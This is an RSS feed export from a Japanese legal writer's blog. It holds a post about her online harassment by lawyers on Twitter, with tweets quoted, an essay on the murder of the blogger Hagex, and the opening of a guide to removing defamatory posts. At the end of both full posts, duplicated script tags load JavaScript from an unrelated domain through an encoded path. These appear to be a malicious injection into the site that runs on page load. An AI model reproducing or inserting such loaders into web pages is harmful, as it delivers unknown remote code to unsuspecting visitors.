<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>1人はかなり有名な弁護士です。</p>
<p>なぜそういう理解になるのか？</p>
<p>&nbsp;</p>
<p>…おそらくタイトルが「法律相談」だからです。</p>
<p>ただ、まともな方ならおわかりになると思いますが、「法律相談Q&amp;A」というのはタイトルであり（いわゆる事例集です）、内容や質問は架空の法律解説記事です。架空の質問は私が考えたものです。</p>
<p>それが有料法律相談だから非弁というのですね。</p>
<p>&nbsp;</p>
<p>…言葉が出ません。</p>
<p>&nbsp;</p>
<p>しかもそれを、とある労働弁護士の方が「清清しいまでの非弁」とかツイッターでおっしゃっているのでなおさら驚きです。</p>
<p>「この人は一体何を言っているのだろう？」</p>
<p>これは明らかに「名誉毀損」です。弁護士なのに、どうしてきちんと状況を調べずにTwitterで簡単にそんなことを言うの？と思い、悲しい気持ちでいっぱいになりました。</p>
<p>&nbsp;</p>
<p>ただ、そのとき何を言っても火に油で、より激しい誹謗中傷が来るのが明らかでたしややこしいのは嫌いなので、私は放っておくことにしました。今考えたら名誉毀損で訴えればよかったかな、と思います。</p>
<p>ただ当時は病気でそれどころじゃありませんでした。</p>
<p>&nbsp;</p>
<h3>サイト上の表記について</h3>
<p>私はいくつものサイトで監修や記事執筆を行っているのですが、その中で、「弁護士」と表記したままのものがありました。</p>
<p>というのも私はかつて、しばらく弁護士登録をした状態でライターをしていたので、当時に作られたサイトには「弁護士」と書いてあったのです。</p>
<p>ただライターというのは執筆を終えたらサイトの運営者の方とは連絡を取らなくなることが多いですから、弁護士登録を抹消したことをいちいち伝えていなかったのですね（というよりもすっかり忘れていました）</p>
<p>（また、実際にはいくつか修正してもらっていたサイトもあります）</p>
<p>&nbsp;</p>
<p>そうしたらそれを発見されて「元弁護士なのに弁護士と書いてある、非弁」と言われるわけです。</p>
<p>確かにその表記は問題があると思いますので、私もすぐに運営者の方に連絡を入れて修正してもらいました。</p>
<p>&nbsp;</p>
<p>しかし修正を完了してからもいつまでも「非弁」と言われ続けました。しつこくて驚きます。</p>
<p>&nbsp;</p>
<h2>3．退職代行の記事について</h2>
<p>こんなに炎上してしまったので私は困り、また退職代行業がそんなに問題があるなら、やはり私としても推奨するのは問題があると思いましたので、ブログの内容を書き換えて推奨するのはやめて、リンクも張り替えるなど可能な限りの対処をしました。</p>
<p>クライアントとの関係があるので削除することは難しく、これが精一杯の対応でした。</p>
<p>しかし、その後もいつまでも「非弁推奨の最低な元弁護士」のようなことを言われ続けました。</p>
<p>&nbsp;</p>
<h2>4．リプやリツイート、質問箱による誹謗中傷と個人攻撃</h2>
<p>実際私は非弁行為などと言われることは一切やっていないのですが、本当に酷い目に遭いました。</p>
<p>リプライやリツイートで晒され、私の個人情報や個人写真を違法に晒している人も発見しました。「違法ですので消してください」と注意しましたが、消す気配があませんでした。</p>
<p>&nbsp;</p>
<p>びっくりしたのが質問箱です。</p>
<p>ツイートにも書きましたが、匿名なのを良いことに「非弁。もう一回精神病んで死ね」みたいなことを書いてきた人がいたんです。</p>
<p>こんなことを書いて、もし私がうつ病で自殺でもしたらどうやって責任をとるつもりなのでしょうか？そうなったらその人は殺人者ですよね。いくらなんでもあんまりだと思いました。</p>
<p>また、ツイッターで私の個人情報を晒して誹謗中傷した人だと思いますが、質問箱で「相手が匿名アカウントでも名誉毀損になるのか」などと聞いてきて、私が普通の質問と思って「なります」と回答すると、心配になったのか</p>
<p>「なぜ相手が匿名でも名誉毀損になるのか、判例を示せ」</p>
<p>「名誉毀損で訴えるために弁護士に相談に行ったのか」</p>
<p>「弁護士の知り合いはいるのか」</p>
<p>とか何度も質問箱の連続投稿で、聞いてくるんです。</p>
<p>無視していると「なんで質問に答えないのか？」と絡んできました。</p>
<p>私を誹謗中傷しておきながら、被害者である私に対して「名誉毀損が成立するのか？」としつこく聞いてくる神経がわからないですし、こわいです。</p>
<p>また、質問箱で「弁護士ですが、懲戒請求のお手伝いをしますよ」などと言ってきて、</p>
<p>私が気味が悪いので「用件があるならDMへお願いします」と回答すると、また質問箱で</p>
<p>「名誉毀損されたのに損害賠償請求じゃなく懲戒請求するのか？」</p>
<p>などと絡んでくるのです。</p>
<p>&nbsp;</p>
<p>誰もすると言っていないし、あなたが送ってきた質問箱でしょ？という感じで、本当に意味不明でこわかったです。</p>
<p>&nbsp;</p>
<p>はっきり言って、質問箱がトラウマになります。</p>
<p>スポンサーリンク</p>
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<h3>追記（12月20日）</h3>
<p>その後、とある弁護士がこのブログを読んで感情的になり、私を誹謗中傷する内容のツイートをさらに繰り返しました。なぜかものすごいヒステリックな口調で、私の本名を出して「ぴりかこと〇〇〇〇は、どうしようもないライター　退場しなさい」とおっしゃいました。ショックでした。</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">要するにぴりかこと福谷陽子氏の退職代行推奨記事のクライアントは、記事で紹介された「退職代行ギブアップ」で、福谷氏はクライアントの商品を勧める実質記事広告を、広告であることを示さずに書いたと自分で認めてるわけでしょ。どうしようもないライターだな。害しかないのでさっさと退場しなさい。</p>
<p>— ystk (@lawkus) <a href="https://twitter.com/lawkus/status/1075169252686974976?ref_src=twsrc%5Etfw">December 18, 2018</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>この頃私はTwitterでもブログでも匿名を使っていたのに人の個人情報を掘り出して暴き出し、「害しかないのでさっさと退場しなさい」は明らかに言い過ぎではないでしょうか？</p>
<p>私は、皆様方の名誉を慮って、法律相談Ｑ＆Ａ記事を誌上法律相談を間違えた方のアカウント名やその他の誹謗中傷アカウント、本名など一切をこの記事で明らかにしませんでした。</p>
<p>それにもかかわらず、多くの弁護士先生方（匿名の方も含む）はヒステリックに私を責め立てている感じでした。</p>
<p><span style="font-size: 1em; letter-spacing: 0.05em;">しかもツイートを見ると、さきほどの質問箱で私が「死ね」と言われた件について、「私（ぴりか）が悪い」みたいなことをおっしゃっている弁護士も複数発見しました。</span></p>
<p>普通、そういう発想になりますかね？</p>
<p>大人げないとしか言いようがないですね。</p>
<p>この件でこの方を初めて知ったのですが、「ローカス弁護士」と言われてけっこう有名な方みたいですね。</p>
<p>私質問箱にも「ローカス弁護士が鼻持ちならないので、どうにかしてほしい」という質問が来るような感じでした（私は当時その方を存じ上げませんでしたので、添付のような回答をしています）</p>
<p>https://twitter.com/pirica8/status/1075725080552849409</p>
<p>&nbsp;</p>
<p>今考えてみたらローカス弁護士も名誉毀損で訴えればよかったと思っています。</p>
<h2>5．その後もしつこすぎて驚き</h2>
<p>私は未成年のときに病気になり、今もずっと重症のまま引きこもって生活しています。</p>
<p>そんな中で弁護士から個人攻撃されたので、トラウマになってしばらくTwitterへの投稿がほとんどできなくなってしまいました。</p>
<p>3年が経過して私も徐々に傷が癒えてようやくTwitterに戻ってきたのです。</p>
<p>先日、軽く「弁護士ってTwitterで当職っていう方が多いけど、一般人には当職って意味わからないよね」とツイートしました。</p>
<p>（弁護士は仕事上で自分のことを「当職」というのですが（警察の「本官」みたいなもんです）、それをそのままTwitterで使っている人が多くて面白いと思いましたのでツイートしました。ディスる意図などまったくありませんでした。</p>
<p>&nbsp;</p>
<p>するとある弁護士が「弁護士に噛み付いている」と攻撃してきて、他の弁護士は「以前の退職代行のことを忘れたのか？」など、まったく無関係にもかかわらずしつこく絡んできたのです。</p>
<p>&nbsp;</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">退職代行業を推奨する記事を書いて、批判された一件を忘れられたのでしょうか？<a href="https://t.co/X5iYVm97ki">https://t.co/X5iYVm97ki</a> <a href="https://t.co/mBXyh6z8Ki">https://t.co/mBXyh6z8Ki</a></p>
<p>— はむ弁護士 (@hamhambenben) <a href="https://twitter.com/hamhambenben/status/1405344570099990533?ref_src=twsrc%5Etfw">June 17, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="ja">過去の発言でも知らないふりをしたら何度でも指摘を受けますよ。 <a href="https://t.co/QIHrxoASuc">https://t.co/QIHrxoASuc</a></p>
<p>— はむ弁護士 (@hamhambenben) <a href="https://twitter.com/hamhambenben/status/1405346992742572040?ref_src=twsrc%5Etfw">June 17, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>知らないふりなんてしていないし「当職」と「退職代行」には全く何の関係もないのに「何度でも指摘を受けますよ」と脅してきて恐怖を感じました。</p>
<p>ちなみに私は弁護士に噛み付いていせんが「噛み付いている」と決めつけた方は後にきまりが悪くなったのか、ツイートを削除していました。</p>
<h3>ツイートが原因で懲戒された弁護士もいる</h3>
<p>野放しになっている法クラの一部の弁護士ですが、ついにTwitterでの過激な言動が原因で弁護士会で懲戒された弁護士も出てきたようです。</p>
<p>懲戒とは、弁護士会から「あまりに品位がない」「違法行為をしている」などの理由で懲戒されたり業務停止命令を受けたり、ときには「退会命令」を受けたりする制度です。</p>
<p>&nbsp;</p>
<p>無法地帯のようにめちゃくちゃに人を傷つけたりリンチしたりしていたのですから、当然のことだと思います。</p>
<p>&nbsp;</p>
<p>みなさんもこれから法クラ弁護士から攻撃されたら、泣き寝入りする必要はありません。</p>
<p>&nbsp;</p>
<h2>6.法クラ弁護士被害者は他にもたくさん…</h2>
<p>実は法クラ弁護士の集団リンチの被害者は私以外にもたくさんいます。</p>
<p>一般の方も被害に遭われています。</p>
<p>私と同じように、匿名アカウントなのに実名を晒された方もおられます。</p>
<p>その方は小さいお子さまがおられるので、本当におびえてらっしゃいました。お気の毒です。</p>
<p>性格のねじ曲がった法クラ弁護士の被害に遭い、泣き寝入りされている方は少なくないでしょう。</p>
<p>そのうち「被害者の会」でも作りたいです。</p>
<p>ちなみに弁護士から迷惑を受けた場合には、相手弁護士が所属する「弁護士会」の市民窓口へ「苦情相談」すると良いですよ。</p>
<p>相手に対するプレッシャーになります。</p>
<p>それで駄目なら懲戒請求しましょう。</p>
<h2>7.どうしようもない悪意と限りない善意</h2>
<p>本当に、ツイッターでは驚くべき決めつけと誹謗中傷が横行して、どうしようもないと思いました。これほどの悪意を感じたのは始めてです。</p>
<p>しかし一方、限りない善意も感じることができました。</p>
<p>こんなにめちゃくちゃに攻撃されている中でも、心配して声をかけて下さった方がたくさんおられました。</p>
<p>会ったこともない他人だし、私なんかに手をさしのべてもその方たちには利益なんてなくても、みなさま優しい言葉を書けてくださったり励ましてくださったりしました。</p>
<p>ネットは悪だと思いました、反面優しさ、善の面も大きいのだと思いました。</p>
<p>そういった方達には、心から感謝しております。ありがとうございます。</p>
<p>何かありましたときには、私が全力でお助けします。</p>
<p>&nbsp;</p>
<p>今回、退職代行業の問題については、私の不注意によるところもあり、また「弁護士」の表記を早期に抹消しなかったことにも問題があります。</p>
<p>ただ、そこまでされることなのか？とも思います。問題を指摘されて即時対応で修正しています（しかし未だに言っている人がいます）。</p>
<p>修正したことを問題視するのではなく「何も対応していないのが悪い」という言い分なので、私が修正したことなど確認せずに名誉毀損的発言を続けています。</p>
<p>&nbsp;</p>
<p>夫婦カウンセラーや法律相談Q&amp;Aの件は、当初から完全な言いがかりです。</p>
<h3>注釈｜弁護士の先生にもいろいろな方がいる</h3>
<p>1つだけ確認しておきたいのは、私はこの記事で「弁護士の先生はひどい」と言いたいわけではないことです。</p>
<p>確かに上記のようなことがあって、私はTwitterの弁護士先生方が怖くなりましたが、同時に「応援している」とおっしゃってくださった弁護士の先生型もたくさんおられました。本当にとても嬉しくて、感謝しておりますm(_ _)m</p>
<p>あと、こんな騒ぎにはまったく無関心で、ご自身の仕事に邁進しておられた先生もたくさんいらっしゃったはずです。</p>
<p>なので「弁護士＝悪」というわけではないので、誤解しないでくださいね。</p>
<p>実はこの前、Twitterで</p>
<p>「依頼者なんか、基本的に軽蔑している」</p>
<p>とおっしゃっている弁護士先生のつぶやきをみて大変驚いたところでした。</p>
<p>願わくば、そのような先生に依頼する人がいなくなり、依頼者のためを思っている素敵な先生方に依頼する人が増えてほしいです。</p>
<p>そのためには一般への情報公開が必要で、私の仕事はそうした橋渡しをするものだと考えております。</p>
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<h2>6．炎上は良い経験</h2>
<p>今回、炎上していろいろと酷い目に遭いましたが、炎上自身は良い経験になったとも思います。人生で一度も炎上しない人もいるでしょうから…。</p>
<p>私は今まで2回死にかけたことがあり、しんどかったですが、それは今の人生の糧になっています。</p>
<p>ですので今回炎上して、人間の限りない悪意と善意に触れたことも、きっと私の糧となってくれるでしょう。</p>
<p>なお私は法クラ弁護士を一生許しません。</p>
<p>やった側は忘れてもぶん殴られた側は一生忘れないのです。</p>
<p>悪いことをした人は、こうして人の恨みを買って「負の資産」を積み重ねていきます。</p>
<p>きっといずれはそれによって身を滅ぼすのです。</p>
<p>みなさんも人の恨みは買わないようにくれぐれも注意しましょう。</p>
<p>&nbsp;</p>
<p>おわり</p>
<p><div class="video"><iframe class="youtube-player" width="640" height="360" src="https://www.youtube.com/embed/742KoxcxeV0?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=ja&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></div></p>
<p><img decoding="async" style="border: 0px;" src="//i.moshimo.com/af/i/impression?a_id=963023&amp;p_id=170&amp;pc_id=185&amp;pl_id=4062" alt="" width="1" height="1" /><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/1209">ネット名誉毀損！弁護士から集団で人格攻撃！Twitterの法クラ弁護士とは？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>有名ブロガーHagexさん殺害事件を考える｜ネットとリアル、分けられますか？</title>
		<link>https://legalharuka.com/770</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Tue, 26 Jun 2018 01:00:33 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
		<category><![CDATA[法律問題]]></category>
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					<description><![CDATA[<p>先日、有名ブロガーのHagexさん（本名　岡本顕一郎さん）という方が、ネットでトラブルになっていた相手からナイフで刺殺されるという、ショッキングな事件が起こりました。 この事件のことを知って、あなたはどう思いましたか？</p>
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										<content:encoded><![CDATA[<img loading="lazy" decoding="async" data-attachment-id="560" data-permalink="https://legalharuka.com/770/sergee-bee-7311-unsplash" data-orig-file="https://legalharuka.com/wp-content/uploads/2018/05/sergee-bee-7311-unsplash-1.jpg" data-orig-size="2256,1496" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="sergee-bee-7311-unsplash" data-image-description="" data-image-caption="" data-medium-file="https://legalharuka.com/wp-content/uploads/2018/05/sergee-bee-7311-unsplash-1-300x199.jpg" data-large-file="https://legalharuka.com/wp-content/uploads/2018/05/sergee-bee-7311-unsplash-1-1024x679.jpg" class="alignnone size-medium wp-image-560" src="https://legalharuka.com/wp-content/uploads/2018/05/sergee-bee-7311-unsplash-1-300x199.jpg" alt="" width="300" height="199" />
<p>先日、有名ブロガーのHagexさん（本名　岡本顕一郎さん）という方が、ネットでトラブルになっていた相手からナイフで刺殺されるという、ショッキングな事件が起こりました。</p>
<p>この事件のことを知って、あなたはどう思いましたか？</p>
<p>「驚いたけど、自分とは関係ない」</p>
<p>「怖いとは思うけど、私は『顔バレ』していないから大丈夫」</p>
<p>「私はネットでトラブルになっていないから問題ない」</p>
<p>など、さまざまな感想を持たれたことでしょう。</p>
<p>しかし、今回の事件、決して他人事ではありません。</p>
<p>そもそも「ネット」と「リアル」を分けて考えることはできないし、直接ネットで攻撃されていなくても、自分でも気づかないうちに、知らず知らずのに人の妬み恨みを買っていることは充分にあるのです。</p>
<p>今回は、そんな話をしてみます。</p>
<h2>1．Hagexさんの場合</h2>
<p>今回、セミナー講師をして帰宅途中だったHagexさんを襲って殺害した容疑者は、Hagexさんとの間でネット上において大きなトラブルになっていたそうです。</p>
<p>Hagexさん自身が容疑者のことを「低能先生」などと言って、二人の間ではかなり激しい応酬がありました。そうしたやりとりが高じて、容疑者の方はHagexさんに対し、リアルの殺害行為に及んでしまったのです。</p>
<p>容疑者は、犯行後に「ネット弁慶を卒業する」と言っていたそうです。</p>
<p>「ネット弁慶を卒業。」</p>
<p>この言葉はとても大きな意味を持っているように思います。</p>
<p>ネットがリアルになってしまった瞬間を顕しているからです。</p>
<p>Twitterやブログなど、ネットを使っているあなたは、きっと「ネット」と「リアル」を分けているつもりになっていますよね？</p>
<p>でも、完全にネットとリアルを分けることは不可能です。ネットを使っているとしても、使っているのは「リアルな人間」だからです。</p>
<p>ネット上で恨みを買えば、リアルで殺される可能性がある。</p>
<p>今回の事件は、そういった現実を示したものと言えます。</p>
<h2>2．なぜ、顔出ししてはいけないのか？</h2>
<p>この事件は、奇しくも「ジャックナイトのオフ会」の翌日に発生しました。</p>
<p>ジャックナイトのオフ会は、非常に大規模なブロガーやアフィリエイターなどのネット利用者のオフ会で、ふだんTwitterなどで顔を合わせている人たちが集まって大盛況になっていたようです。</p>
<p>私は参加していませんが、Twitterでもその話題で持ちきりになっていました。</p>
<p>そこで私が始めて知ったことがあります。</p>
<p>「ブロガー・アフィリエイターなどの人は、顔出しNGな人が多い」</p>
<p>ということです。</p>
<p>オフ会で撮影された写真についても、通常の肖像権保護以上に大変に神経質な扱いとなっており、モザイクがかけられたりしていました。</p>
<p>ても有名なブロガーの方ども、絶対に顔を見られないように対策を練っていたようです。</p>
<p>私が普段からめちゃくちゃ面白いと思っていて、ファンも多いスーパーブロガーのヒトデさん（私自身も大ファンです。勝手に引用してごめんなさい。不都合がありましたら消すのでおっしゃって下さい）も、Twitterで、「（オフ会に）着ぐるみを着て参加した」というようなことをおっしゃっていて、絶対に顔出しはNGと言っておられました。</p>
<p>これを見て、私は単純に、とても不思議に思いました。</p>
<p>「どうしてこんなに人気者で、誰からも尊敬されていて、文句なしに素敵な方なのに、顔を隠す必要があるんだろう？」</p>
<p>そして、実際にヒトデさんに聞いてみたところ、丁寧に回答をしていただけました。</p>
<blockquote class="twitter-tweet" data-lang="ja">
<p dir="ltr" lang="ja">単純に現実とリンクさせずにインターネットをやりたい人もいるんですよね～。わかりやすい例だと副業禁止的な例だったり、ネットで顔がどうこう言われたく無い人だったり</p>
<p>あとは着ぐるみの中を暴いてるようなもの、っていうのもあります</p>
<p>— ☆←ヒトデ@ブロガー (@hitodeblog) <a href="https://twitter.com/hitodeblog/status/1010754955714560001?ref_src=twsrc%5Etfw">2018年6月24日</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>また、他にも、顔出しNGの理由を教えてくれた方がいらっしゃいました。</p>
<blockquote class="twitter-tweet" data-lang="ja">
<p dir="ltr" lang="ja">副業NGの会社とかセキュリティ的なところですかね？ただ、恥ずかしいとかも？</p>
<p>— aYa@新居引越し片付け中&#x1f3e0; (@Mshome6) <a href="https://twitter.com/Mshome6/status/1010746956484788224?ref_src=twsrc%5Etfw">2018年6月24日</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>私はこれのご意見を見て</p>
<p>「ブログでこんなに有名になって尊敬を集めて収益だって上がっていて、その辺の会社役員なんかよりよほど稼いでいても、顔も出せないなんて…」</p>
<p>正直、不思議な印象を持ちました。私はずっとリアル社会で生きてきて、顔出しが当たり前の世界にいたので、顔出しNGという感覚をどうにも理解しにくいです。</p>
<p>ただ、ネットを使っている方たちが、「ネットとリアルを分けたい」という気持ちは、私が想像していたよりはるかに強いものなのだと感じました。</p>
<p>&nbsp;</p>
<p>また、以前に主婦のブロガーの方が言っているのを見たのですが、ブロガーの方は、かなり収益を出して成功している方でも、周囲のリアルの友人にはほとんどそのことを言っていない例が多いようです。ブログをしていることすら言わない方が多数のようでした。</p>
<p>これについても私は不思議で</p>
<p>「なぜ言ってはいけないんだろう？悪いことをしているわけではないのに」</p>
<p>という感想を持っていました。</p>
<h2>3．顔出ししていなくても、たどればわかる</h2>
<p>ブロガーやアフィリエイターなどの方は、私が想像するよりずっと「ネット」と「リアル」を分けたいという気持ちが非常に強いのです。</p>
<p>だから絶対に「顔出し」がNGで、ネット上でキャラクターを作っているのでしょう。</p>
<p>このことで、リスクマネジメントしているつもりかも知れません。</p>
<p>しかし、実際に発言しているのが人間である以上、どうしてもぼろがでるものです。本気でターゲットを絞ってその人の発言内容やブログなどを漏らさず四六時中観察をしていたら、だんだんとその人の「リアル」が見えてくるものです。</p>
<p>起きている時間帯、関心のある対象、家族構成、居住地域、言葉の端々をつなぎ合わせていくと、だんだんとその人の輪郭が見えてきます。自分では隠しているつもりでも、それこそストーカーのように注視し続けたらだいたいのことがわかります。</p>
<p>顔出しさえしていなかったらリアルとネットを分けられるとう考えは甘いです。</p>
<h2>4．直接トラブルになっていなくても、恨まれている可能性がある</h2>
<p>もう1つ、「トラブルになっている相手がいないから、自分は大丈夫」と考えている方もおられるでしょう。</p>
<p>しかし、その考えも危険です。</p>
<p>ネットは、いろいろな人が見ています。自分が想像しているよりはるかに多くの人が自分を見ていると思った方が良いです。</p>
<p>もちろん好意的な目で見ている人もいますが、そうでない人もいます。中には、「こいつ腹立つわ！」「殺したいわ！」と思いながらも、何も発言せずに画面の向こうから「じっ」と見つめ続けている人がいるかも知れません。</p>
<p>たとえば自己アピールが強すぎる人、自慢げで目立っている人は、ファンも多いかもしれませんが、妬まれやすいです。</p>
<p>「憎まれっ子世にはばかる」などと言いますが、はばかっているだけなら良いですが、妬まれて実害を加えられたらどうしようもありません。</p>
<p>実際、SNSを利用するときに、「本当は自分の気に要らない人をミュートしてしまえば不快な思いをせずに済むとわかっていても、どうしてもむかつく相手が気になって見てしまう方が多いのではないでしょうか？</p>
<p>正直、私もそういうことで、疲れることがあります。</p>
<p>以前にそういった内容のツイートをしたら、結構たくさんの人が共感してくれました。</p>
<blockquote class="twitter-tweet" data-lang="ja">
<p dir="ltr" lang="ja">そうですよね、わかってるんですけど、私、なんか違和感ある場合でも、変に気になってしまって、一人でしんどくなってしまいます。どうにかしたいなぁって思います&#x1f605;すみません、なんだか心に刺さりました。</p>
<p>— ぴりか＠弁護士ライター・士業コンサルタント (@pirica8) <a href="https://twitter.com/pirica8/status/1006860610171125760?ref_src=twsrc%5Etfw">2018年6月13日</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>また、このようなご意見もあります。</p>
<blockquote class="twitter-tweet" data-lang="ja">
<p dir="ltr" lang="ja">顔出ししなければ直接攻撃を受ける確率は減るかもしれないけど、一部の人を口撃したり煽ったりする(書いてる本人にその自覚なくても煽ってるように見える)ことをしないことも大事だよね。当たり前だど。 <a href="https://t.co/bvpGZJvfp0">https://t.co/bvpGZJvfp0</a></p>
<p>— ずぼらなアラサー女子 (@zuborajyoshi30) <a href="https://twitter.com/zuborajyoshi30/status/1011226068114554882?ref_src=twsrc%5Etfw">2018年6月25日</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>私のツイートに反応して下さった方のものです。<br />
元のツイート</p>
<blockquote class="twitter-tweet" data-lang="ja">
<p dir="ltr" lang="ja">昨日ジャックナイトの関係で「ブロガー、アフィリエイターはなぜ顔出しNGなの？」と質問してたら、タイムリーに殺人事件が発生。余計に顔出しする人が減りそうだが、顔出ししなければ大丈夫ってもんではないし、直接攻撃を受けていなくても知らない間に恨みや妬みを買っていることもあるから注意。</p>
<p>— ぴりか＠弁護士ライター・士業コンサルタント (@pirica8) <a href="https://twitter.com/pirica8/status/1011107211668418560?ref_src=twsrc%5Etfw">2018年6月25日</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>私も全くその通りだと思います。本人に「自覚がない」のが一番の問題です。</p>
<p>たとえば収益自慢や仕事忙しい自慢、頑張ってる自慢などをして周りからちやほやされていても、それを不快に感じている人もいるんです。ところが本人はまったく気づいていない。見えない間に大量の敵を作ります。</p>
<p>敵は、いわゆる「アンチ」なのかもしれません。人気者になったらアンチがたくさんできるのは仕方がないと言います。</p>
<p>確かに一定までは仕方がないとも言えますが、相手を無用に煽っていることもあるのではないでしょうか？</p>
<p>「直接攻撃されていない」「直接何も言われていない」から大丈夫というわけにはいかないのです。</p>
<h2>5．身を守るためにどうすべきか</h2>
<p>このようなリスクを考えたとき、やはり身を守るためには無用に人を煽ったり人の嫉妬心を起こさせたりするような発言は控えた方が良いのでしょうね。</p>
<p>また、特に有名な方の場合などには、自宅にSECOMなどを入れて、家族全員が常に防犯ブザーを持ち歩く程度の備えはして置くべきでしょう。</p>
<h2>6．私はネットが好き｜今後の適正化に期待したい</h2>
<p>今回、ネットに否定的に見える意見を書いてしまいましたが、基本的に私は、ットはすばらしいツールだと思っています。私自身の可能性を大きく広げてくれたのもネットです。</p>
<p>ただし、使いようによっては悪になるとも思っています。</p>
<p>普通の人が罪悪感なしに詐欺まがいのことも簡単にできてしまいますし、規制が追いついていないのでノールールでやりたい放題、嘘つき放題のカオス状態になっているように感じることが多々あります。</p>
<p>もう少しきちんと利用方法が適正化されて、ネットの良い面が残り悪い面が早期に駆逐されたら良いなぁ、と日頃から考えています。</p>
<p>（なお、今回ツイートを引用させていただいた方で、「やめてほしい」という方がいらっしゃいましたら、ご連絡いただけましたらすぐに削除いたしますので、おっしゃって下さい。ご不快な思いをさせてしまいましたら申し訳ありません）<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/770">有名ブロガーHagexさん殺害事件を考える｜ネットとリアル、分けられますか？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>ネット誹謗中傷で記事削除する方法とは！？</title>
		<link>https://legalharuka.com/437</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sun, 17 Jun 2018 14:31:45 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
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					<description><![CDATA[<p>「ネットで誹謗中傷された…許せない！！」 あなたは、ネット誹謗中傷の被害に遭って困っているのではないでしょうか？ ネットでは、どのような人も簡単に自分の意見などを言うことができますが、中には悪意を持って人を中傷する人もい</p>
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										<content:encoded><![CDATA[<p>「ネットで誹謗中傷された…許せない！！」</p>
<p>あなたは、ネット誹謗中傷の被害に遭って困っているのではないでしょうか？</p>
<p>ネットでは、どのような人も簡単に自分の意見などを言うことができますが、中には悪意を持って人を中傷する人もいますし、議論が白熱してついつい過ぎた書き込みをしてしまうケースもあります。<br />
たとえば「あの子は不倫している」「前科者」などと言われたりすることも。<br />
そのような被害に遭ったら、早めに投稿を削除させなければ、どんどん中傷内容が広まって、自分の評判が落ちてしまいます。</p>
<p>企業やお店の場合、客足が落ちたり商品が売れなくなったりして、売り上げが低下する損害も発生します。</p>
<p>この記事を読めば、そんな酷いネット誹謗中傷被害に遭った時に、もっとも被害を小さくするための正しい対処方法がわかります。<br />
さっそくみてみましょう！</p>
<h2>1．ネット誹謗中傷とは</h2>
<p>ネット誹謗中傷とは、ネット上で誰かのことを誹謗中傷する内容の投稿をすることです。</p>
<p>たとえば5チャンネル（旧2ちゃん）や爆サイなどのネット掲示板、自分が運営しているブログ、ツイッターなどのSNSなどで、過度に相手を攻撃してしまったり、口コミサイトで嫌がらせの投稿をしてしまったりするケースが典型的です。</p>
<p>&nbsp;</p>
<p>このような被害に遭ったとき、放っておくと、その記事を見る人がどんどん増えて内容が拡散してしまいますし、他の掲示板やSNSに転載されることもあります。</p>
<p>炎上したら、大変な勢いでその記事が広まり、被害者の評判が落ちて、大変な迷惑ですし、実害が発生することも多いので、早急に対応しなければなりません。</p>
<p>&nbsp;</p>
<h2>2．ネット誹謗中傷の例</h2>
<p>たとえばどのような例があるのか、見てみましょう。</p>
<p>「〇〇は不倫している」</p>
<p>「あいつは前科がある」</p>
<p>「あの企業はブラックだから、絶対行くな」</p>
<p>「あの店の食材は、粗悪。衛生状態も最低」</p>
<p>このような書き込みをされて広まってしまったら、被害者がどのような目に遭うかは想像に難くありません。</p>
